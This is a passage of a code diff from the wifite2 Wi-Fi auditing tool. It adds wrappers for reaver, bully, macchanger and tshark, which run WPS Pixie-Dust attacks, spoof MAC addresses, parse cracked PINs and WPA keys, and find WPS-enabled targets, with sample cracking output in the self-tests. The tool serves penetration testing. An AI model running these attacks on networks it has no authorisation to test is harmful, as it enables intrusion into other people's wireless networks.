self.consecutive_lockouts = 0 # Reset lockout count
self.consecutive_timeouts = 0 # Reset timeout count
self.consecutive_noassoc = 0 # Reset timeout count
result = "{G}%s{W}" % result
elif result == "Timeout":
self.consecutive_timeouts += 1
result = "{O}%s{W}" % result
elif result == "NoAssoc":
self.consecutive_noassoc += 1
result = "{O}%s{W}" % result
else:
result = "{R}%s{W}" % result
pin = rx_m.group(3)
self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
# [!] WPS lockout reported, sleeping for 43 seconds ...
lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if lock_out:
sleeping = lock_out.group(1)
self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
self.consecutive_lockouts += 1
# [Pixie-Dust] WPS pin not found
pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
if pixie_re:
self.state = "{R}Failed{W}"
# [+] Running pixiewps with the information, wait ...
pixie_re = re.search(r".*Running pixiewps with the information", line)
if pixie_re:
self.state = "{G}Running pixiewps...{W}"
# [*] Pin is '80246213', key is 'password'
# [*] Pin is '11867722', key is '9a6f7997'
pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
if pin_key_re:
self.cracked_pin = pin_key_re.group(1)
self.cracked_key = pin_key_re.group(2)
# PIN : '80246213'
pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
if pin_re:
self.cracked_pin = pin_re.group(1)
# KEY : 'password'
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
if key_re:
self.cracked_key = key_re.group(1)
#warn_re = re.search(r"\[\!\]\s*(.*)$", line)
#if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key:
Color.clear_entire_line()
Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.crack_result = CrackResultWPS(
self.target.bssid,
self.target.essid,
self.cracked_pin,
self.cracked_key)
Color.pl("")
self.crack_result.dump()
return True
else:
return False
def stop(self):
if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
self.pid.interrupt()
def __del__(self):
self.stop()
if __name__ == '__main__':
stdout = " [*] Pin is '11867722', key is '9a6f7997'"
Configuration.initialize(False)
from Target import Target
fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',')
target = Target(fields)
b = Bully(target)
b.parse_line(stdout)

82
wifite/tools/macchanger.py Executable file
View File

@@ -0,0 +1,82 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from wifite.model.interface import Interface
from wifite.util.color import Color
class Macchanger(object):
is_init = False
is_changed = False
original_mac = None
@classmethod
def init(cls):
if cls.is_init: return
from Configuration import Configuration
iface = Configuration.interface
if type(iface) == Interface:
iface = iface.name
cls.original_mac = Interface.get_mac(iface)
@classmethod
def down_macch_up(cls, macch_option):
cls.init()
from Process import Process
from Configuration import Configuration
iface = Configuration.interface
cmd = ["ifconfig", iface, "down"]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface)
ifdown = Process(cmd)
ifdown.wait()
if ifdown.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr()))
return False
cmd = ["macchanger", macch_option, iface]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface)
macch = Process(cmd)
macch.wait()
if macch.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr()))
return False
cmd = ["ifconfig", iface, "up"]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface)
ifup = Process(cmd)
ifup.wait()
if ifup.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr()))
return False
return True
@classmethod
def reset(cls):
# --permanent to reset to permanent MAC address
if not cls.down_macch_up("-p"): return
Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...")
from Configuration import Configuration
new_mac = Interface.get_mac(Configuration.interface)
Color.clear_entire_line()
Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac)
@classmethod
def random(cls):
# Use --permanent to use random MAC address
if not cls.down_macch_up("-r"): return
cls.is_changed = True
from Configuration import Configuration
new_mac = Interface.get_mac(Configuration.interface)
Color.clear_entire_line()
Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac)
@classmethod
def reset_if_changed(cls):
if not cls.is_changed: return
cls.reset()

268
wifite/tools/reaver.py Executable file
View File

@@ -0,0 +1,268 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..tools.airodump import Airodump
from ..model.wps_result import CrackResultWPS
import os, time, re
class Reaver(Attack):
def __init__(self, target):
super(Reaver, self).__init__(target)
self.success = False
self.crack_result = None
def is_pixiedust_supported(self):
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
output = Process(['reaver', '-h']).stderr()
return '--pixie-dust' in output
def run_pixiedust_attack(self):
# Write reaver stdout to file.
self.stdout_file = Configuration.temp('reaver.out')
if os.path.exists(self.stdout_file):
os.remove(self.stdout_file)
command = [
'reaver',
'--interface', Configuration.interface,
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--pixie-dust', '1', # pixie-dust attack
#'--delay', '0',
#'--no-nacks',
'--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
pin = None
step = 'initializing'
time_since_last_step = 0
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wps=True,
output_file_prefix='pixie') as airodump:
Color.clear_line()
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
while True:
try:
airodump_target = self.wait_for_target(airodump)
except Exception as e:
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
Color.pl("")
return False
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if pin is not None or reaver.poll() is not None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin is not None:
# We cracked it.
bssid = self.target.bssid
Color.clear_entire_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
return False
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break
last_step = step
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
step = '({C}step -/8{W}) waiting for AP rate limit'
if step != last_step:
# Step changed, reset step timer
time_since_last_step = 0
else:
time_since_last_step += 1
if time_since_last_step > Configuration.wps_pixie_step_timeout:
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
break
# TODO: Timeout check
if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
break
# Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
break
timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
break
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
time.sleep(1)
continue
# Attack failed, already printed reason why
reaver.interrupt()
stdout_write.close()
return False
@staticmethod
def get_pin_psk_ssid(stdout):
''' Parses WPS PIN, PSK, and SSID from output '''
pin = psk = ssid = None
# Check for PIN.
''' [+] WPS pin: 11867722'''
regex = re.search(r"WPS pin:\s*([0-9]*)", stdout, re.IGNORECASE)
if regex:
pin = regex.group(1)
# Check for PSK.
# Note: Reaver 1.6.x does not appear to return PSK (?)
regex = re.search("WPA PSK: *'(.+)'", stdout)
if regex:
psk = regex.group(1)
# Check for SSID
"""1.x [Reaver Test] [+] AP SSID: 'Test Router' """
regex = re.search(r"AP SSID:\s*'(.*)'", stdout)
if regex:
ssid = regex.group(1)
# Check (again) for SSID
if ssid is None:
"""1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)"""
regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout)
if regex:
ssid = regex.group(1)
return (pin, psk, ssid)
def get_stdout(self):
''' Gets output from stdout_file '''
if not self.stdout_file:
return ''
with open(self.stdout_file, 'r') as fid:
stdout = fid.read()
return stdout.strip()
if __name__ == '__main__':
old_stdout = '''
[Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1
[Pixie-Dust]
[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [+] WPS pin: 12345678
[Pixie-Dust]
[Pixie-Dust] [*] Time taken: 0 s
[Pixie-Dust]
Running reaver with the correct pin, wait ...
Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF
[Reaver Test] Channel: 11
[Reaver Test] [+] WPS PIN: '12345678'
[Reaver Test] [+] WPA PSK: 'Test PSK'
[Reaver Test] [+] AP SSID: 'Test Router'
'''
# From vom513 in https://github.com/derv82/wifite2/issues/60
new_stdout = '''
[+] Switching wlan1mon to channel 5
[+] Waiting for beacon from EC:1A:59:37:70:0E
[+] Received beacon from EC:1A:59:37:70:0E
[+] Vendor: RealtekS
[+] Trying pin "12345670"
[+] Sending authentication request
[+] Sending association request
[+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
Pixiewps 1.4
[?] Mode: 3 (RTL819x)
[*] Seed N1: -
[*] Seed ES1: -
[*] Seed ES2: -
[*] PSK1: 2c2e33f5e3a870759f0aeebbd2792450
[*] PSK2: 3f4ca4ea81b2e8d233a4b80f9d09805d
[*] ES1: 04d48dc20ec785762ce1a21a50bc46c2
[*] ES2: 04d48dc20ec785762ce1a21a50bc46c2
[+] WPS pin: 11867722
[*] Time taken: 0 s 21 ms
executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819
'''
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout)
assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin
assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk
assert ssid == "Test Router", 'ssid was %s, should have been Test Router' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()
print ""
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout)
assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin
assert psk == None, 'psk was "%s", should have been "None"' % psk
assert ssid == "belkin.00e", 'ssid was "%s", should have been "belkin.00e"' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()

84
wifite/tools/tshark.py Executable file
View File

@@ -0,0 +1,84 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from wifite.util.process import Process
import re
class Tshark(object):
''' Wrapper for Tshark program. '''
def __init__(self):
pass
@staticmethod
def check_for_wps_and_update_targets(capfile, targets):
'''
Given a cap file and list of targets, use TShark to
find which BSSIDs in the cap file use WPS.
Then update the 'wps' flag for those BSSIDs in the targets.
Args:
capfile - .cap file from airodump containing packets
targets - list of Targets from scan, to be updated
'''
# Tshark is required to detect WPS networks
if not Process.exists('tshark'):
return
command = [
'tshark',
'-r', capfile, # Path to cap file
'-n', # Don't resolve addresses
# Filter WPS broadcast packets
'-Y', 'wps.wifi_protected_setup_state && wlan.da == ff:ff:ff:ff:ff:ff',
'-T', 'fields', # Only output certain fields
'-e', 'wlan.ta', # BSSID
'-e', 'wps.ap_setup_locked', # Locked status
'-E', 'separator=,' # CSV
]
p = Process(command)
try:
p.wait()
lines = p.stdout()
except:
# Failure is acceptable
return
bssids = set()
for line in lines.split('\n'):
if ',' not in line:
continue
bssid, locked = line.split(',')
# Ignore if WPS is locked?
if '1' not in locked:
bssids.add(bssid.upper())
for t in targets:
t.wps = t.bssid.upper() in bssids
if __name__ == '__main__':
test_file = './tests/files/contains_wps_network.cap'
target_bssid = 'A4:2B:8C:16:6B:3A'
from Target import Target
fields = [
'A4:2B:8C:16:6B:3A', # BSSID
'2015-05-27 19:28:44', '2015-05-27 19:28:46', # Dates
'11', # Channel
'54', # throughput
'WPA2', 'CCMP TKIP', 'PSK', # AUTH
'-58', '2', '0', '0.0.0.0', '9', # ???
'Test Router Please Ignore', # SSID
]
t = Target(fields)
targets = [t]
# Should update 'wps' field of a target
Tshark.check_for_wps_and_update_targets(test_file, targets)
print 'Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps)
assert targets[0].wps == True